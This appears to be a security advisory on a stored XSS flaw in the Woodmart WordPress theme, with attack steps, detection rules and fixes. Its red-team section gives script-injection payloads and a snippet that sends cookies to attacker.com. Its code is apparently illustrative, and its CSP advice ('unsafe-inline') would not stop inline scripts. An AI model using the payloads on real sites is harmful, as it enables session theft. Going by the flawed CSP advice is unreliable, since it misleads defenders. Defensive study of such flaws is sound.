CVE-2025-6743
Executive Summary
CVE-2025-6743 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the Woodmart theme for WordPress, affecting all versions up to and including 8.2.3. The flaw resides in the theme's multiple_markers attribute, which is used within a plugin component. Due to insufficient input sanitization and output escaping on user-supplied attributes, authenticated attackers with contributor-level access or higher can inject arbitrary web scripts. These scripts execute whenever a victim user accesses a page containing the malicious payload, leading to potential session hijacking, data theft, or further compromise of the WordPress site.
This vulnerability is particularly dangerous in the WordPress ecosystem because contributor-level access is often granted to multiple users, increasing the attack surface. The CVSS score of 6.4 (Medium) reflects the need for authentication but also the high impact on confidentiality, integrity, and availability due to the stored nature of the XSS.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the Woodmart theme, a commercial WordPress theme distributed via ThemeForest and other marketplaces. As a theme, it is not managed through package managers like NPM or PyPI, but it is part of the WordPress plugin/theme ecosystem. Users should verify the integrity of their theme files and ensure they are obtained from official sources. The lack of a public patch or advisory from the vendor increases supply chain risk, as users may be unaware of the vulnerability.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
- Attack Vector (AV): Network – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): Low – Attacker needs contributor-level access.
- User Interaction (UI): Required – A victim must visit the compromised page.
- Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
- Confidentiality (C): Low – Limited data exposure possible.
- Integrity (I): Low – Limited ability to modify content.
- Availability (A): Low – Limited impact on availability.
Threat Level: Medium. The requirement for authentication reduces the attack surface, but the stored XSS nature and potential for privilege escalation make it a significant risk for multi-user WordPress sites.
Deep Dive & Mechanics
The vulnerability exists in the Woodmart theme's handling of the multiple_markers attribute, likely used in a map or location-based shortcode. The theme fails to properly sanitize user input and escape output when rendering this attribute. An attacker with contributor-level access can create or edit a post/page and inject a malicious payload into the multiple_markers attribute. When the page is rendered, the payload is executed in the context of the victim's browser.
Attack Flow:
- Attacker logs in with contributor-level credentials.
- Attacker creates a new post or edits an existing one.
- Attacker inserts a Woodmart shortcode that uses the
multiple_markersattribute. - Attacker sets the attribute value to a malicious JavaScript payload, e.g.,
"><script>alert('XSS')</script>. - The payload is stored in the WordPress database without proper sanitization.
- When an administrator or other user views the post, the script executes.
Root Cause: The theme does not apply esc_attr() or wp_kses() to the attribute value before outputting it in the HTML. This allows arbitrary HTML/JavaScript injection.
Vulnerable vs. Patched Code
Vulnerable Code (Woodmart <= 8.2.3):
// In a shortcode handler, e.g., woodmart_shortcode_map.php
function woodmart_map_shortcode($atts) {
extract(shortcode_atts(array(
'multiple_markers' => '',
), $atts));
// Direct output without escaping
echo '<div class="woodmart-map" data-markers="' . $multiple_markers . '"></div>';
}
Patched Code (Hypothetical):
function woodmart_map_shortcode($atts) {
extract(shortcode_atts(array(
'multiple_markers' => '',
), $atts));
// Properly escape the attribute
echo '<div class="woodmart-map" data-markers="' . esc_attr($multiple_markers) . '"></div>';
}
The patched version uses esc_attr() to encode special characters, preventing XSS. Additionally, the theme should validate that the input is a valid JSON string if that is the expected format.
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- WordPress site with Woodmart theme <= 8.2.3
- Contributor-level account credentials
Exploitation Steps:
- Log in to WordPress as a contributor.
- Navigate to Posts > Add New.
- In the editor, switch to Text mode and insert a Woodmart shortcode that uses
multiple_markers. For example:[woodmart_map multiple_markers='{"lat":51.5,"lng":-0.1,"title":"<script>alert(document.cookie)</script>"}'] - Publish or save the post.
- Send the post link to an administrator or other user.
- When the victim views the post, the JavaScript executes.
Advanced Payload:
// Steal admin cookies and send to attacker server
var img = new Image();
img.src = 'http://attacker.com/steal.php?cookie=' + document.cookie;
Blue Team (Defender)
Detection Steps:
- Monitor WordPress logs for unusual shortcode usage, especially by contributor-level users.
- Review posts/pages for suspicious content in
multiple_markersattributes. - Use a web application firewall (WAF) to block common XSS patterns.
- Implement Content Security Policy (CSP) headers to mitigate script execution.
Lab Setup:
- Install WordPress with Woodmart theme version 8.2.3.
- Create a contributor user account.
- Use a browser with developer tools to inspect the rendered page.
Indicators of Compromise (IOCs)
File-based IOCs:
- Modified posts/pages containing Woodmart shortcodes with suspicious
multiple_markersvalues. - Presence of JavaScript code in the
data-markersattribute of<div class="woodmart-map">elements.
- Modified posts/pages containing Woodmart shortcodes with suspicious
Network-based IOCs:
- Outbound HTTP requests to unknown domains from the WordPress server (if payload exfiltrates data).
- Unusual referrer headers from the WordPress site to external IPs.
Log-based IOCs:
- WordPress audit logs showing post creation/editing by contributor users with unusual shortcode parameters.
- Web server logs showing requests to pages with Woodmart map shortcodes.
Detection Engineering
YARA Rule
rule Woodmart_Stored_XSS_CVE_2025_6743 {
meta:
description = "Detects stored XSS payloads in Woodmart theme multiple_markers attribute"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-6743"
strings:
$xss_payload = /multiple_markers=['\"][^'\"]*<script[^>]*>/
$xss_event = /multiple_markers=['\"][^'\"]*on\w+\s*=/
condition:
$xss_payload or $xss_event
}
Sigma Rule
title: Stored XSS via Woodmart multiple_markers Attribute
id: 8a4b3c2d-1e5f-4a6b-9c8d-7e0f1a2b3c4d
status: experimental
description: Detects stored XSS attempts using the Woodmart theme multiple_markers attribute
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: 'multiple_markers'
cs-uri-query|re: '(<script|on\w+=)'
condition: selection
falsepositives:
- Legitimate use of JavaScript in markers (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-6743 - Stored XSS via Woodmart multiple_markers";
flow:to_server,established;
content:"multiple_markers"; http_uri;
pcre:"/(<script|on\w+\s*=)/i";
classtype:web-application-attack;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Disable the Woodmart theme until a patch is available, or switch to a different theme.
- Restrict contributor-level access to trusted users only.
- Implement a Web Application Firewall (WAF) with rules to block XSS payloads in shortcode attributes.
- Add Content Security Policy (CSP) headers to prevent inline script execution:
Note: This may break legitimate theme functionality.Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; object-src 'none'
Long-term Fixes:
- Apply vendor patch when released (check ThemeForest or Woodmart support).
- Manually patch the theme by adding
esc_attr()to the vulnerable attribute in the theme's PHP files (see Vulnerable vs. Patched Code section). - Upgrade to a patched version once available.
Workarounds:
- Use a security plugin like Wordfence to add virtual patching for XSS.
- Disable the map shortcode via functions.php:
remove_shortcode('woodmart_map');
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.